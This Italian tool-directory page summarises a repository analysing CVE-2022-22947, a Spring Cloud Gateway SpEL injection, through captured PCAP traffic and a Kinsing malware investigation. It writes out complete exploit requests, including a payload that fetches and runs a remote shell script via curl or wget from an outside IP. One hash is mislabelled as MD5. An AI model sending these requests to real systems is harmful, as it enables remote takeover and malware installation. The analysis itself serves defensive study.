Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-22947 — Analisi dettagliata e guida allo sfruttamento di CVE-2022-22947, una vulnerabilità di iniezione SpEL in Spring Cloud Gateway che porta a RCE, inclusa l'analisi PCAP e l'indagine sul malware Kinsing. | Kitploit
Strumenti/GitHubGitHub/sumitpathania03/cve-2022-22947
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebAnalisi MalwarePaper e RicercaApprendimento e FormazioneArchived
GitHubsumitpathania03/cve-2022-22947

CVE-2022-22947

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Analisi dettagliata e guida allo sfruttamento di CVE-2022-22947, una vulnerabilità di iniezione SpEL in Spring Cloud Gateway che porta a RCE, inclusa l'analisi PCAP e l'indagine sul malware Kinsing.

Vedi Repository
2 anni faNon ancora revisionato

CVE-2022-22947

CVE-2022-22947 (Spring-Cloud-Gateway) Nel primo trimestre del 2022, è stata scoperta un'interessante e critica vulnerabilità di Code Injection (punteggio base 10.0) in Spring Cloud Gateway, che sfrutta l'API Actuator per eseguire SpEL Injection, potenzialmente portando al compromesso del sistema. Versioni di Spring Cloud Gateway precedenti alla 3.1.1+ e 3.0.7+ In Spring Cloud Gateway, le applicazioni sono vulnerabili ad un attacco di code injection SE: L'endpoint Actuator Gateway è abilitato, esposto e non protetto.

GRAFICO DEL FLUSSO DELLA VULNERABILITÀ

spring

ANALISI PCAP

  1. L'ATTACCANTE INVIA UNA RICHIESTA POST + JSON PER LA CREAZIONE DI UNA NUOVA ROTTA NEL GATEWAY E CON IL FILE JSON CONFIGURA L'HEADER DI RISPOSTA DI QUELLA ROTTA
root@kitploit:~
POST /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 372

{"id": "BuOHOGeywH", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}], "uri": "http://example.com", "order": 0}

RISPOSTA:

root@kitploit:~
HTTP/1.1 201 Created Location: /routes/xwpdsdeb content-length: 0

COME POSSIAMO VEDERE NEL FILE JSON, STIAMO OTTENENDO IL VALORE DELL'HEADER DI RISPOSTA ESGUENDO QUESTA ESPRESSIONE 
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}]

E POSSIAMO VEDERE NEL METODO exec( ) c'è un comando composito per l'esecuzione remota di codice.

  1. POI L'ATTACCANTE INVIA UNA RICHIESTA POST PER AGGIORNARE TUTTE LE ROTTE
root@kitploit:~
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

RISPOSTA:

root@kitploit:~
HTTP/1.1 200 OK
  1. POI L'ATTACCANTE INVIA UNA RICHIESTA GET SULLA ROTTA APPENA CREATA PER ESEMPIRE IL COMANDO RCE NELL'HEADER DI RISPOSTA
root@kitploit:~
GET /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json

RISPOSTA:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 27 Dec 2023 09:45:00 UTC
Content-Length: 202

{"predicate": "RouteDefinitionRouteLocator$$Lambda$1046/0x0000000840610840", "route_id": "xwpdsdeb", "filters": ["[[AddResponseHeader Result = ''], order = 1]"], "uri": "10.0.2.15/xwpdsdeb", "order": 0}

LA RISPOSTA 200 OK INDICA CHE IL COMANDO RCE È STATO ESEGUITO CON SUCCESSO

  1. POI L'ATTACCANTE INVIA UNA RICHIESTA DELETE PER CANCELLARE QUELLA ROTTA
root@kitploit:~
DELETE /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

RISPOSTA:

root@kitploit:~
HTTP/1.1 200 OK CONNECTION: close
Date: Wed, 27 Dec 2023 09:45:01 UTC
Content-Length: 4855
HTTP 200 OK INDICA CHE LA ROTTA È STATA CANCELLATA CON SUCCESSO

LOG_DATA

##DECODIFICATO SHELLCODE:

root@kitploit:~
POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1
Host: 180.188.253.170:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 411
Content-Type: application/json
Accept-Encoding: gzip

{
	 "id": "BuOHOGeywH",
	 "filters": [{
	   "name": "AddResponseHeader",
	   "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"}
	   }],
	 "uri": "http://example.com",
	 "order": 0
	}

DOPO AVER DECODIFICATO QUESTO SHELLCODE HO TROVATO UN URL WGET DI UNO SCRIPT, POI HO SCARICATO MANUALMENTE QUELLO SCRIPT E DOPO AVERLO ANALIZZATO HO TROVATO UN URL DI DOWNLOAD DEL MALWARE KINSING

SP

E DA QUELL'URL HO SCARICATO IL MALWARE KINSING IN UN FILE ZIP PER ULTERIORI ANALISI, POI DOPO HO ANALIZZATO IL VALORE MD5=787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c DI QUEL MALWARE ED ECCO COSA HO OTTENUTO

SP

SP

Scarica lo strumento